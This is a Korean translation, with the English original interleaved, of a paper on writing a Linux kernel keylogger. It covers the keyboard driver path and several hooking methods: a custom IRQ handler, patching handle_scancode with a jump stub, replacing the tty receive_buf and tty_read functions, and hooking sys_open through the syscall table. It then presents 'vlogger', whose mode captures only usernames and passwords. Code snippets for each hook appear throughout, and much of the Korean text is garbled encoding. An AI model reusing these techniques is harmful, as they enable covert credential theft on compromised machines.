Writing Linux Kernel Keylogger
¹ø¿ª : ÀÌ»óÀÎ, delpai at hotmail dot com
¹ø¿ªÀÌ À߸øµÈ ºÎºÐÀÌ ¸¹ÀÌ ÀÖÀ» °Å¿¡¿ä. ´Ù ¿µ¾î ½Ç·ÂÀÌ ¹Ì¼÷ÇÑ Á¦Å¿ÀÔ´Ï´Ù T_T Ȥ½Ã³ª ¹ß°ßÇÏ¸é °íÃÄÁÖ¼¼¿ä!
¿øº»Àº http://www.thc.org/papers/writing-linux-kernel-keylogger.txt ´ÙÀ½°ú °°½À´Ï´Ù. ÇÁ·¢¿¡µµ ¿Ã¶ó¿Ô¾úÁÒ~!
-- delpai 2004-07-09 16:43:58
1. - Introduction ¶This article is divided into two parts. The first part of the paper gives an overview on how the linux keyboard driver work,
and discusses methods that can be used to create a kernel based keylogger. This part will be useful for those who want to
write a kernel based keylogger, or to write their own keyboard driver (for supporting input of non-supported language in
linux environment, ...) or to program taking advantage of many features in the Linux keyboard driver.
ÀÌ ³í¹®Àº µÎ°³ ºÎºÐÀ¸·Î ³ª´©¾îÁ®ÀÖ´Ù. ³í¹®ÀÇ Ã¹¹ø° ºÎºÐÀº ¸®´ª½º Å°º¸µå µå¶óÀ̹ö°¡ ¾î¶»°Ô µ¹¾Æ°¡´ÂÁö °³°ýÀûÀÎ ³»¿ëÀ» ¾Ë¾Æº¸
°í Ä¿³Î ±â¹ÝÀÇ Å°·Î°Å¸¦ Á¦ÀÛÇÒ¶§ ¾µ¼ö ÀÖ´Â ³»¿ë¿¡ ´ëÇØ Åä·ÐÇÑ´Ù. ÀÌ ºÎºÐÀº Ä¿³Î ±â¹ÝÀÇ Å°·Î°Å¸¦ ¾²°Å³ª ¿ì¸®ÀÇ Å°º¸µå µå¶óÀ̹ö
¸¦ Á¦ÀÛÇϰųª(for supporting input of non-supported language in linux environment, ...) ¸®´ª½º Å°º¸µå µå¶óÀ̹ö¸¦ ÀÌ¿ëÇÏ´Â ÇÁ
·Î±×·¥¿¡¼ ¸¹Àº Ư¡ÀûÀÎ ÀÌÁ¡À» °¡Áö´Âµ¥ À¯¿ëÇÒ °ÍÀÌ´Ù.
The second part presents detail of vlogger, a smart kernel based linux keylogger, and how to use it. Keylogger is a very interesting code being used widely in honeypots, hacked systems, ... by white and black hats. As most of us known, besides
user space keyloggers (such as iob, uberkey,unixkeylogger, ...), there are some kernel based keyloggers. The earliest kernel
based keylogger is linspy of halflife which was published in Phrack50 (see 4). And the recent kkeylogger is presented in
'Kernel Based Keylogger' paper by mercenary (see 7) that I found when was writing this paper. The common method of those
kernel based keyloggers using is to log user keystrokes by intercepting sys_read or sys_write system call. However, this approach is quite unstable and slowing down the whole system noticeably because sys_read (or sys_write) is the generic read/write function of the system; sys_read is called whenever a process wants to read something from devices (such as keyboard, file, serial port, ...). In vlogger, I used a better way to implement it that hijacks the tty buffer processing function.
µÎ¹ø° ºÎºÐÀº vlogger¸¦ ¼³¸íÇÏ°í ¾î¶»°Ô »ç¿ëÇÏ´ÂÁö¿¡ ¼¼úÇÑ´Ù. Å°·Î°Å´Â ÁÁ°í ³ª»Û ÇØÄ¿µé¿¡ ÀÇÇØ Çã´ÏÆÌ, ½Ã½ºÅÛÀ» ÇØÅ·ÇÒ¶§ Å©
°Ô »ç¿ëµÇ´Â ¸Å¿ì Èï¹Ì·Î¿î ÄÚµåÀÌ´Ù. ¿ì¸® ÁÖº¯¿¡ ¾Ë·ÁÁø À¯Àú°ø°£ Å°·Î°Å(iob, uberkey, unixkeylogger,...)´Â Ä¿³Î±â¹ÝÀÇ Å°·Î°Åµé
ÀÌ´Ù. ÀÏÂïÀÌ Ä¿³Î±â¹ÝÀÇ Å°·Î°Å´Â Phrack 50¿¡ ¹ßÇ¥µÈ halflifeÀÇ linspyÀÌ´Ù. ±×¸®°í ÃÖ±Ù kkeylogger´Â mecenayÀÇ 'Kernel Based
Keylogger' ³í¹®ÀÌ´Ù.Ä¿³Î ±â¹ÝÀÇ Å°·Î°ÅÀÇ °øÅë ³»¿ëÀº sys_read³ª sys_write ½Ã½ºÅÛ ÄÝÀ» °¡·ÎèÀ¸·Î ·Î±× À¯Àú Å°½ºÆ®·ÎÄ¿¸¦ »ç¿ë
ÇÏ¿´´Ù. ±×·¯³ª ÀϹÝÀûÀÎ Àаí/¾²´Â ½Ã½ºÅÛ ÇÔ¼öÀÎ sys_read³ª sys_write¶§¹®¿¡ Àüü ½Ã½ºÅÛÀÌ ºÒ¾ÈÁ¤ÇØÁö°í ´À·ÁÁø´Ù.; sys_read´Â
ÀåÄ¡(Å°º¸µå, ÆÄÀÏ, ½Ã¸®¾ó Æ÷Æ®,etc..)·ÎºÎÅÍ ¹«¾ð°¡¸¦ Àб⸦ ¿øÇÏ´Â ÇÁ·Î¼¼½º°¡ È£ÃâÇÑ´Ù. vlogger´Â tty ¹öÆÛ ÇÁ·Î¼¼½Ì ÇÔ¼ö¸¦ °¡
·Îä´Â ´õ ÁÁÀº ¹æ¹ýÀ» »ç¿ëÇÏ¿´´Ù.
The reader is supposed to possess the knowledge on Linux Loadable Kernel Module. Articles 1 and 2 are recommended to
read before further reading.
2. - How Linux Keyboard driver work ¶Lets take a look at below figure to know how user inputs from console keyboard are processed:
_____________ _________ _________ / \ put_queue| |receive_buf| |tty_read /handle_scancode\-------->|tty_queue|---------->|tty_ldisc|-------> \ / | | |buffer | \_____________/ |_________| |_________| _________ ____________ | |sys_read| | --->|/dev/ttyX|------->|user process| | | | | |_________| |____________| Figure 1 First, when you press a key on the keyboard, the keyboard will send corresponding scancodes to keyboard driver. A single key
press can produce a sequence of up to six scancodes.
ù¹ø°, ´ç½ÅÀÌ Å°º¸µåÀÇ Å°¸¦ ´©¸¦¶§, Å°º¸µå´Â Å°º¸µå µå¶óÀ̹ö¿¡ ½ºÄµÄڵ带 º¸³¾°ÍÀÌ´Ù. Çѹø Å°¸¦ ´©¸¦¶§ ¿©¼¸°³ÀÇ ½ºÄµÄڵ带
¿¬¼ÓÀûÀ¸·Î »ý¼ºÇÑ´Ù.
The handle_scancode() function in the keyboard driver parses the stream of scancodes and converts it into a series of key
press and key release events called keycode by using a translation-table via kbd_translate() function. Each key is provided
with a unique keycode k in the range 1-127. Pressing key k produces keycode k, while releasing it produces keycode k+128.
handle_scancode() ÇÔ¼ö´Â ½ºÄµÄÚµåÀÇ ½ºÆ®¸²À» ºÐ¼®ÇÏ°í Å° ´©¸§°ú, Å° ³õÀ½ À̹øÆ®´Â kbd_translate()¸¦ °ÅÃÄ translation-tableÀ»
»ç¿ëÇÏ¿© Å°Äڵ带 È£ÃâÇÑ´Ù.. °¢°¢ÀÇ Å°´Â 1-127 »çÀÌÀÇ À¯ÀÏÇÑ Å°ÄÚµå k¸¦ ±ÔÁ¤ÇÏ¿´´Ù. k¸¦ ´©¸£¸é Å°ÄÚµå k¸¦ »ý»êÇÏ°í, ³õÀ¸¸é
k+128 Å°Äڵ带 »ý»êÇÑ´Ù.
For example, keycode of 'a' is 30. Pressing key 'a' produces keycode 30. Releasing 'a' produces keycode 158 (128+30).
¿¹¸¦ µé¾î, 'a'ÀÇ Å°Äڵ尡 30ÀÌ´Ù. a¸¦ ´©¸£¸é Å°ÄÚµå´Â 30À» »ý»êÇÑ´Ù. a¸¦ ³õÀ¸¸é Å°ÄÚµå 158À» »ý»êÇÑ´Ù(128+30).
Next, keycodes are converted to key symbols by looking them up on the appropriate keymap. This is a quite complex process. There are eight possible modifiers (shift keys - Shift , AltGr, Control, Alt, ShiftL, ShiftR, CtrlL and CtrlR), and the combination of currently active modifiers and locks determines the keymap used.
´ÙÀ½À¸·Î, Å°ÄÚµå´Â ÀûÀýÇÑ Å°¸Ê¿¡¼ ±×°ÍÀ» ã¾Æ Å° ½Éº¼·Î º¯È¯ÇÑ´Ù. ÀÌ°ÍÀº ¸Å¿ì º¹ÀâÇÑ Ã³¸®´Ù. 8°³ÀÇ º¯°æÀÚ(shift keys -
Shift, AltGr, Control, Alt, ShiftL, ShiftR, CtrlL and CtrlR)¿Í ÇöÀç È°µ¿ÁßÀÎ º¯°æÀÚÀÇ ¹èÇÕ°ú locks determines the keymap used.
After the above handling, the obtained characters are put into the raw tty queue - tty_flip_buffer.
À§ÀÇ Çڵ鸵À» ÇÑ µÚ¿¡, ¹®ÀÚ¸¦ ¾ò°í raw tty Å¥¿¡ ³Ö´Â´Ù. - tty_flip_buffer.
In the tty line discipline, receive_buf() function is called periodically to get characters from tty_flip_buffer then put them into tty read queue.
tty ¶óÀÎ discipline¾È¿¡ receive_buf()ÇÔ¼ö´Â ÁÖ±âÀûÀ¸·Î tty read Å¥¾È¿¡ ³ÖÀº ´ÙÀ½ tty_flip_buffer·ÎºÎÅÍ ¹®ÀÚ¸¦ ¾òÀ» ¶§ È£ÃâÇÑ´Ù.
ÇÁ·Î¼¼½º°¡ À¯ÀúÀÇ ÀÔ·ÂÀ» ¾ò±â ¿øÇÒ¶§ ÇÁ·Î¼¼½ºÀÇ stdinÀº read()ÇÔ¼ö¸¦ È£ÃâÇÑ´Ù. sys_read()ÇÔ¼ö´Â ÀԷ¹®ÀÚ¸¦ Àоî ÀûÇÕÇÑ tty(ex
/dev/tty0)ÀÇ file_operations ±¸Á¶Ã¼¿¡ Á¤ÀǵǾî ÀÖ´Â read()ÇÔ¼ö¸¦ È£ÃâÇÒ °ÍÀÌ´Ù.
The keyboard driver can be in one of 4 modes:
- scancode (RAW MODE): the application gets scancodes for input.
It is used by applications that implement their own keyboard
driver (ex: X11)
- keycode (MEDIUMRAW MODE): the application gets information on
which keys (identified by their keycodes) get pressed and
released.
- ASCII (XLATE MODE): the application effectively gets the
characters as defined by the keymap, using an 8-bit encoding.
- Unicode (UNICODE MODE): this mode only differs from the ASCII
mode by allowing the user to compose UTF8 unicode characters by
their decimal value, using Ascii_0 to Ascii_9, or their
hexadecimal (4-digit) value, using Hex_0 to Hex_9. A keymap can
be set up to produce UTF8 sequences (with a U+XXXX pseudo-symbol,
where each X is an hexadecimal digit).
Those modes influence what type of data that applications will get as keyboard input. For more details on scancode, keycode and keymaps, please read 3.
The keyboard driver can be in one of 4 modes:
- scandcode (RAW MODE) : ÀÀ¿ëÇÁ·Î±×·¥Àº ÀÔ·ÂÀ» À§ÇØ ½ºÄµÄڵ带 ¾ò´Â´Ù.
Å°º¸µå µå¶óÀ̹ö´Â ÀÀ¿ëÇÁ·Î±×·¥¿¡ ÀÇÇØ »ç¿ëµÈ´Ù.
- keycode (MEDIUMRAW MODE) : ÀÀ¿ëÇÁ·Î±×·¥Àº ¾î¶² Å°°¡ (±×µéÀÇ Å°Äڵ忡
Á¤ÀǵǾîÀÖ´Â) ´·¯Á³À»¶§¿Í ³õ¾ÆÁ³À»¶§ Á¤º¸¸¦ ¾ò´Â´Ù.
- ASCII (XLATE MODE) : ÀÀ¿ëÇÁ·Î±×·¥Àº 8bit ¾ÏÈ£¹®À» »ç¿ëÇÑ Å°¸Ê¿¡ Á¤ÀÇ
µÈ ¹®ÀÚ¸¦ ¾ò´Â´Ù.
- Unicode (UNICODE MODE) : À̸ðµå´Â Ascii_0ºÎÅÍ Ascii_9³ª ±×µéÀÇ
hexadecimal(4-digit) °ªÀ» »ç¿ëÇÏ´Â ½ÊÁø °ª¿¡ ÀÇÇØ UTF8 À¯´ÏÄÚµå ¹®ÀÚ
¸¦ Á¶¸³ÇÏ´Â °ÍÀ» À¯Àú¿¡°Ô Çã¶ôÇÏ´Â °ÍÀÌ ASCII ¸ðµå¿Í ´ÜÁö ´Ù¸¥Á¡ÀÌ´Ù.
Å°¸ÊÀº UTF8À» ¿¬¼ÓÀûÀ¸·Î »ý»êÇÏ¿© ¼³Á¤ÇÒ ¼ö ÀÖ´Ù.(with a U+XXXX pseudo-symbol,
where each X is an hexadecimal digit).
¸ðµå´Â Å°º¸µå ÀÔ·ÂÀ¸·Î ¾ò´Â ÀÀ¿ëÇÁ·Î±×·¥ÀÇ µ¥ÀÌÅÍÀÇ À¯ÇüÀÌ ¹«¾ùÀÎÁö¿¡ ¿µÇâÀ» ¹Þ´Â´Ù. scancode, keycode³ª keymaps¿¡ ´ëÇØ ´õ
¼³¸íÀ» ¿øÇϸé 3À» Àоî¶ó.
3. - Kernel based keylogger approaches ¶We can implement a kernel based keylogger in two ways by writing our own keyboard interrupt handler or hijacking one of input
processing functions.
¿ì¸®´Â ÀÚ½ÅÀÇ Å°º¸µå ÀÎÅÍ·´Æ® Çڵ鷯¸¦ ¾²°Å³ª ÀÔ·Â ÇÁ·Î¼¼½Ì ÇÔ¼ö¸¦ °¡·Îä´Â µÎ°¡Áö ¹æ¹ýÀ¸·Î Ä¿³Î ±â¹ÝÀÇ Å°·Î°Å¸¦ ¸¸µé¼ö
ÀÖ´Ù(?)
3.1. - Interrupt handler ¶To log keystrokes, we will use our own keyboard interrupt handler. Under Intel architectures, the IRQ of the keyboard
controlled is IRQ 1. When receives a keyboard interrupt, our own keyboard interrupt handler read the scancode and keyboard
status. Keyboard events can be read and written via port 0x60(Keyboard data register) and 0x64(Keyboard status register).
Å°½ºÆ®·ÎÅ©¸¦ »ç¿ëÇÒ¶§, ¿ì¸®´Â ÀÚ½ÅÀÇ Å°º¸µå ÀÎÅÍ·´Æ® Çڵ鷯¸¦ »ç¿ëÇÒ¼ö ÀÖ´Ù. Intel ¾ÆÅ°ÅØÃÄ¿¡´Â Å°º¸µå ÄÁÆ®·ÑÀÇ IRQ°¡ IRQ 1ÀÌ
´Ù. Å°º¸µå ÀÎÅÍ·´Æ®¸¦ ¹ÞÀ» ¶§ ÀÚ½ÅÀÇ Å°º¸µå ÀÎÅÍ·´Æ® Çڵ鷯´Â scancode¿Í Å°º¸µå »óŸ¦ Àд´Ù. Å°º¸µå À̺¥Æ®´Â 0x60(Keyboard
data register)¿Í 0x64(Keyboard status register)¸¦ ÅëÇØ ÀÐ°í ¾µ¼ö ÀÖ´Ù.
/* below code is intel specific */
#define KEYBOARD_IRQ 1 #define KBD_STATUS_REG 0x64 #define KBD_CNTL_REG 0x64 #define KBD_DATA_REG 0x60 #define kbd_read_input() inb(KBD_DATA_REG) #define kbd_read_status() inb(KBD_STATUS_REG) #define kbd_write_output(val) outb(val, KBD_DATA_REG) #define kbd_write_command(val) outb(val, KBD_CNTL_REG) /* register our own IRQ handler */ request_irq(KEYBOARD_IRQ, my_keyboard_irq_handler, 0, "my keyboard", NULL); In my_keyboard_irq_handler(): scancode = kbd_read_input(); key_status = kbd_read_status(); log_scancode(scancode); ÀÌ ³»¿ëÀº Ç÷¥Æû¿¡ ÀÇÁ¸ÀûÀÌ´Ù. ±×·¡¼ Ç÷§Æû »çÀÌ¿¡ À̽ÄÇÒ¼ö ¾ø´Ù. ±×¸®°í ´ç½ÅÀÇ ÄÄÇ»ÅÍ°¡ ÆøÁÖ³ª °íÀ峪´Â °ÍÀ» ¿øÄ¡ ¾ÊÀ»¶§´Â
ÀÎÅÍ·´Æ® Çڵ鷯¸¦ »ç¿ëÇÒ¶§ ƯÈ÷ Á¶½ÉÇضó.
3.2. - Function hijacking ¶Based on the Figure 1, we can implement our keylogger to log user inputs by hijacking one of handle_scancode(), put_queue(),
receive_buf(), tty_read() and sys_read() functions. Note that we can't intercept tty_insert_flip_char() function because it
is an INLINE function.
Figure 1À» ±â¹ÝÀ¸·Î ¿ì¸®´Â handle_scancode(), put_queue(), receive_buf(), tty_read()¿Í sys_read()ÇÔ¼ö¸¦ °¡·Îä À¯Àú ÀÔ·ÂÀ» ·Î
±×ÇÏ´Â Å°·Î°Å¸¦ ÇÒ ¼ö ÀÖ´Ù. tty_insert_flip_char()ÇÔ¼ö´Â INLINE ÇÔ¼öÀ̱⠶§¹®¿¡ °¡·Îç¼ö ¾ø´Ù.
3.2.1. - handle_scancode ¶This is the entry function of the keyboard driver (see keyboard.c). It handles scancodes which are received from keyboard.
ÀÌ°ÍÀº Å°º¸µå µå¶óÀ̹ö(see keyboard.c)ÀÇ ÇÔ¼ö´Ù. ÀÌ°ÍÀº Å°º¸µå·ÎºÎÅÍ ¹ÞÀº scancode¸¦ ó¸®ÇÑ´Ù.
# /usr/src/linux/drives/char/keyboard.c
void handle_scancode(unsigned char scancode, int down);
We can replace original handle_scancode() function with our own to logs all scancodes. But handle_scancode() function is not
a global and exported function. So to do this, we can use kernel function hijacking technique introduced by Silvio (see
5).
¿ì¸®´Â ¿ø·¡ÀÇ handle_scancode() ÇÔ¼ö¸¦ ¸ðµç ½ºÄµÄڵ带 ±â·ÏÇϵµ·Ï ¿ì¸®°¡ ÀÛ¼ºÇÑ ÇÔ¼ö·Î ¹Ù²ãÄ¡±â ÇÒ ¼ö ÀÖ´Ù. ÇÏÁö¸¸ handle_scancode() ÇÔ¼ö´Â ÀͽºÆ÷Æ® µÇ¾îÁø Àü¿ª ÇÔ¼ö(exported global function)°¡ ¾Æ´Ï´Ù. µû¶ó¼ (¿øº» handle_scancode()¸¦ ¿ì¸®°¡ ¸¸µç ¹öÀüÀ¸·Î ¹Ù²ãÄ¡±â À§ÇÏ¿©), ¿ì¸®´Â Silvio°¡ ¼Ò°³ÇÑ Ä¿³ÎÇÔ¼ö °¡·Îä±â Å×Å©´Ð(5)À» »ç¿ëÇÒ ¼ö ÀÖ´Ù.
/* below is a code snippet written by Plasmoid */
static struct semaphore hs_sem, log_sem; static int logging=1; #define CODESIZE 7 static char hs_code[CODESIZE]; static char hs_jump[CODESIZE] = "\xb8\x00\x00\x00\x00" /* movl $0,%eax */ "\xff\xe0" /* jmp *%eax */ ; void (*handle_scancode) (unsigned char, int) = (void (*)(unsigned char, int)) HS_ADDRESS; void _handle_scancode(unsigned char scancode, int keydown) { if (logging && keydown) log_scancode(scancode, LOGFILE); /* * Restore first bytes of the original handle_scancode code. Call * the restored function and re-restore the jump code. Code is * protected by semaphore hs_sem, we only want one CPU in here at a * time. */ down(&hs_sem); memcpy(handle_scancode, hs_code, CODESIZE); handle_scancode(scancode, keydown); memcpy(handle_scancode, hs_jump, CODESIZE); up(&hs_sem); } HS_ADDRESS is set by the Makefile executing this command HS_ADDRESS=0x$(word 1,$(shell ksyms -a | grep handle_scancode)) Similar to method presented in 3.1, the advantage of this method is the ability to log keystrokes under X and the console, no
matter if a tty is invoked or not. And you will know exactly what key is pressed on the keyboard (including special keys
such as Control, Alt, Shift, Print Screen, ...). But this method is platform dependent and won't be portable among
platforms. This method also can't log keystroke of remote sessions and is quite complex for building an advance logger.
3.1Àý¿¡¼ º¸ÀÎ ¹æ¹ý°ú ¸¶Âù°¡Áö·Î, ÀÌ ¹æ¹ýÀÇ ÀåÁ¡Àº tty È£Ãâ ¿©ºÎ¿¡ »ó°ü ¾øÀÌ X³ª Äֿܼ¡¼ÀÇ Å° ÀÔ·ÂÀ» ±â·ÏÇÒ ¼ö ÀÖ´Ù´Â °ÍÀÌ´Ù. ¶ÇÇÑ Å°º¸µå¿¡¼ Á¤È®È÷ ¾î¶² Å°(Control, Alt, Shift, Print Screen µîÀÇ Æ¯¼öÅ° Æ÷ÇÔ)°¡ ´·ÁÁ³´ÂÁö ¾Ë ¼ö ÀÖ´Ù. ÇÏÁö¸¸ ÀÌ ¹æ¹ýÀº Ç÷§Æû ÀÇÁ¸ÀûÀ̸ç Ç÷§Æû°£ À̽ÄÀÌ ºÒ°¡´ÉÇÏ´Ù. ¶ÇÇÑ, ÀÌ ¹æ¹ýÀº ¿ø°Ý ¼¼¼Ç(remote session)ÀÇ Å° ÀÔ·ÂÀº ±â·ÏÇÒ ¼ö ¾øÀ¸¸ç, ¾îµå¹ê½ºµå ·Î°Å¸¦ ¸¸µé±â¿¡´Â ²Ï º¹ÀâÇÑ ¹æ¹ýÀÌ´Ù.
3.2.2. - put_queue ¶This function is called by handle_scancode() function to put characters into tty_queue.
ÀÌ ÇÔ¼ö´Â ttyp_queue¿¡ ¹®ÀÚ°¡ ³Ö¾îÁ³À»¶§ handle_scancode()¿¡ ÀÇÇØ È£ÃâµÈ´Ù.
# /usr/src/linux/drives/char/keyboard.c
void put_queue(int ch); To intercept this function, we can use the above technique as in section (3.2.1).
ÀÌ ÇÔ¼ö¸¦ °¡·Îä±â À§ÇØ, ¿ì¸®´Â ¼½¼Ç(3.2.1)ó·³ ±â¼úÀ» »ç¿ëÇØ¾ß ÇÑ´Ù.
3.2.3. - receive_buf ¶receive_buf() function is called by the low-level tty driver to send characters received by the hardware to the line
discipline for processing.
receive_buf() ÇÔ¼ö´Â 󸮸¦ À§ÇØ line discipline¿¡¼ Çϵå¿þ¾î¿¡ ÀÇÇØ ¹ÞÀº ¹®ÀÚ¸¦ low-level tty µå¶óÀ̹ö¿¡ º¸³»±â À§ÇØ È£ÃâµÈ
´Ù.
# /usr/src/linux/drivers/char/n_tty.c */
static void n_tty_receive_buf(struct tty_struct *tty, const unsigned char *cp, char *fp, int count) cp is a pointer to the buffer of input character received by the device.
fp is a pointer to a pointer of flag bytes which indicate whether a character was received with a parity error, etc.
cp´Â ÀåÄ¡¿¡¼ ¹ÞÀº ¹®ÀÚ¿ÀÇ ÀÔ·Â ¹öÆÛÀÇ Æ÷ÀÎÅÍÀÌ´Ù.
fp´Â Æи®Æ¼ ¿¡·¯¿Í ÇÔ²² ¹ÞÀº ¹®ÀÚÀÎÁö ¾Æ´ÑÁö¸¦ °¡¸®Å°´Â »óÅ ¹ÙÀÌÆ®ÀÇ Æ÷ÀÎÅÍÀÌ´Ù.
Lets take a deeper look into tty structures
tty ±¸Á¶Ã¼¸¦ À¯½ÉÈ÷ º¸ÀÚ.
# /usr/include/linux/tty.h
struct tty_struct { int magic; struct tty_driver driver; struct tty_ldisc ldisc; struct termios *termios, *termios_locked; ... } # /usr/include/linux/tty_ldisc.h struct tty_ldisc { int magic; char *name; ... void (*receive_buf)(struct tty_struct *, const unsigned char *cp, char *fp, int count); int (*receive_room)(struct tty_struct *); void (*write_wakeup)(struct tty_struct *); }; To intercept this function, we can save the original tty receive_buf() function then set ldisc.receive_buf to our own
new_receive_buf() function in order to logging user inputs.
ÀÌ ÇÔ¼ö¸¦ °¡·Îä±â À§ÇØ ¿ì¸®´Â ¿øº» tty_receive_buf()ÇÔ¼ö¸¦ ÀúÀåÇÏ°í, À¯Àú ÀÔ·ÂÀ» ±â·ÏÇÏ´Â new_receive_buf()ÇÔ¼ö¸¦ ldisc.receive_buf·Î ¼³Á¤ÇÑ´Ù.
Ex: to log inputs on the tty0
int fd = open("/dev/tty0", O_RDONLY, 0);
struct file *file = fget(fd); struct tty_struct *tty = file->private_data; old_receive_buf = tty->ldisc.receive_buf; tty->ldisc.receive_buf = new_receive_buf; void new_receive_buf(struct tty_struct *tty, const unsigned char *cp, char *fp, int count) { logging(tty, cp, count); //log inputs /* call the original receive_buf */ (*old_receive_buf)(tty, cp, fp, count); } 3.2.4. - tty_read ¶This function is called when a process wants to read input characters from a tty via sys_read() function.
ÀÌ ÇÔ¼ö´Â sys_read()ÇÔ¼ö¸¦ ÅëÇÑ tty·ÎºÎÅÍ ÀÔ·Â ¹®ÀÚ¸¦ Àб⠿øÇÏ´Â ÇÁ·Î¼¼½º°¡ È£ÃâÇÑ´Ù.
# /usr/src/linux/drives/char/tty_io.c
static ssize_t tty_read(struct file * file, char * buf, size_t count, loff_t *ppos) static struct file_operations tty_fops = { llseek: tty_lseek, read: tty_read, write: tty_write, poll: tty_poll, ioctl: tty_ioctl, open: tty_open, release: tty_release, fasync: tty_fasync, }; To log inputs on the tty0:
int fd = open("/dev/tty0", O_RDONLY, 0);
struct file *file = fget(fd); old_tty_read = file->f_op->read; file->f_op->read = new_tty_read; 3.2.5. - sys_read/sys_write ¶We will intercept sys_read/sys_write system calls to redirect it to our own code which logs the content of the read/write
calls. This method was presented by halflife in Phrack 50 (see 4). I highly recommend reading that paper and a great
article written by pragmatic called "Complete Linux Loadable Kernel Modules" (see 2).
¿ì¸®´Â sys_read/sys_write ½Ã½ºÅÛ È£ÃâÀ» °¡·Îä read/write È£ÃâÀÇ ³»¿ëÀÇ ±â·ÏÀ» ¿ì¸®ÀÇ ÄÚµå·Î ¹æÇâÀ» ¹Ù²Ü¼ö ÀÖ´Ù. À̹æ¹ýÀº
Phrack 50(see 4)¿¡¼ halflife¿¡ ÀÇÇØ ÇöÀç »ç¿ëµÇ°í ÀÖ´Ù. I highly recommend reading that paper and a great article written
by pragmatic called "Complete Linux Loadable Kernel Modules" (see 2).
- vlogger
This part will introduce my kernel keylogger which is used method described in section 3.2.3 to acquire more abilities than
common keyloggers used sys_read/sys_write systemcall replacement approach. I have tested the code with the following
versions of linux kernel: 2.4.5, 2.4.7, 2.4.17 and 2.4.18.
ÀÌ ºÎºÐÀº sys_read/sys_write ½Ã½ºÅÛÄÝÀ» ´ëüÇÏ´Â °ÍÀ» »ç¿ëÇÑ Å°·Î°Åº¸´Ù ´õ ¸¹Àº ±â´ÉÀ» ¿ä±¸ÇÏ´Â section 3.2.3 ¿¡ ¼³¸íµÇ¾îÀÖ´Â
¹æ¹ýÀ» »ç¿ëÇÑ ³» Ä¿³Î Å°·Î°Å¿¡ ´ëÇØ ¼Ò°³ÇÒ °ÍÀÌ´Ù. ³ª´Â ´ÙÀ½°ú °°Àº ¸®´ª½º Ä¿³Î¹öÁ¯¿¡¼ Äڵ带 ½ÇÇèÇغ¸¾Ò´Ù : 2.4.5, 2.4.7,
2.4.17, 2.4.18
3.3. - The syscall/tty approach ¶To logging both local (logged from console) and remote sessions, I chose the method of intercepting receive_buf() function
(see 3.2.3).
·ÎÄÃ(ÄַܼκÎÅÍ)°ú ¿ø°Ý ¼¼¼ÇÀ» µ¿½Ã¿¡ ·Î±ëÇϱâ À§ÇØ ³ª´Â receive_buf()ÇÔ¼ö¸¦ °¡·Îä´Â ¹æ¹ýÀ» ¼±ÅÃÇÏ¿´´Ù.(See 3.2.3)
In the kernel, tty_struct and tty_queue structures are dynamically allocated only when the tty is open. Thus, we also have
to intercept sys_open syscall to dynamically hooking the receive_buf() function of each tty or pty when it's invoked.
Ä¿³Î¿¡¼ tty_struct¿Í tty_queue ±¸Á¶Ã¼´Â tty°¡ ¿Àǵɶ§¸¶´Ù µ¿ÀûÀ¸·Î ÇÒ´çµÈ´Ù. ±×·¡¼, ¿ì¸®´Â ¶ÇÇÑ tty³ª pty°¡ È£ÃâµÉ¶§
receive_buf()ÇÔ¼ö¸¦ µ¿ÀûÀ¸·Î ÈÄÅ·ÇØ sys_open ½Ã½ºÄÝÀ» °¡·Îë´Ù.
// to intercept open syscall
original_sys_open = sys_call_table[__NR_open]; sys_call_table[__NR_open] = new_sys_open; // new_sys_open() asmlinkage int new_sys_open(const char *filename, int flags, int mode) { ... // call the original_sys_open ret = (*original_sys_open)(filename, flags, mode); if (ret >= 0) { struct tty_struct * tty; ... file = fget(ret); tty = file->private_data; if (tty != NULL && ... tty->ldisc.receive_buf != new_receive_buf) { ... // save the old receive_buf old_receive_buf = tty->ldisc.receive_buf; ... /* * init to intercept receive_buf of this tty * tty->ldisc.receive_buf = new_receive_buf; */ init_tty(tty, TTY_INDEX(tty)); } ... } // our new receive_buf() function void new_receive_buf(struct tty_struct *tty, const unsigned char *cp, char *fp, int count) { if (!tty->real_raw && !tty->raw) // ignore raw mode // call our logging function to log user inputs vlogger_process(tty, cp, count); // call the original receive_buf (*old_receive_buf)(tty, cp, fp, count); } 3.4. - Features ¶- Logs both local and remote sessions (via tty & pts)
- tty & pts¸¦ ÅëÇØ ·ÎÄðú ¿ø°Ý ¼¼¼ÇÀ» µ¿½Ã¿¡ ±â·Ï
- Separate logging for each tty/session. Each tty has their own logging
buffer.
- tty/sessionÀ» ¼·Î º°µµ·Î ·Î±ë. tty°¡ Àڱ⸸ÀÇ ¹öÆÛ¿¡ ·Î±ëÇÑ´Ù(?)
- Nearly support all special chars such as arrow keys (left, right, up,
down), F1 to F12, Shift+F1 to Shift+F12, Tab, Insert, Delete, End,
Home, Page Up, Page Down, BackSpace, ...
- È»ìÇ¥ Űó·³ Ư¼ö Å°¸¦ ¸ðµÎ Áö¿ø((left, right, up,
down), F1 to F12, Shift+F1 to Shift+F12, Tab, Insert, Delete, End,
Home, Page Up, Page Down, BackSpace, ...
- Support some line editing keys included CTRL-U and BackSpace.
- CTRL-U ¿Í BackSpace¸¦ Æ÷ÇÔÇÑ ¶óÀÎ ÆíÁýÅ°¸¦ Áö¿ø.
- Timestamps logging, timezone supported (ripped off some codes from
libc).
- ŸÀÓ½ºÅÆÇÁ ·Î±ë, ŸÀÓÁ¸ Áö¿ø(libc·ÎºÎÅÍ ¾à°£ÀÇ Äڵ带 »ç¿ë)
- Multiple logging modes
- ´Ù¾çÇÑ ·Î±ë ¸ðµå
o dumb mode: logs all keystrokes
o dumb mode: ¸ðµç Å°¸¦ ±â·Ï
o smart mode: detects password prompt automatically to log
user/password only. I used the similar technique presented in
"Passive Analysis of SSH (Secure Shell) Traffic" paper by Solar
Designer and Dug Song (see 6). When the application turns input
echoing off, we assume that it is for entering a password.
o smart mode: À¯Àú/¾ÏÈ£¸¦ ·Î±×ÇÒ¶§ ÀÚµ¿ÀûÀ¸·Î ¾ÏÈ£ ÇÁ·ÒÇÁÆ® °¨Áö. Solar Designer and Dug Song (see 6)°¡
¾´"Passive Analysis of SSH (Secure Shell) Traffic"¿¡¼ÀÇ ºñ½ÁÇÑ ±â¼úÀ» »ç¿ëÇÏ¿´´Ù. ÀÀ¿ëÇÁ·Î±× ·¥ÀÇ ÀÔ·Â
¹æÇâÀ» ¾ø¾Ù¶§, ¾ÏÈ£¸¦ ÀÔ·ÂÇϴ°Íó·³ °¡ÀåÇß´Ù.
o normal mode: disable logging
o normal mode: ·Î±ë ÇØÁ¦.
You can switch between logging modes by using a magic password.
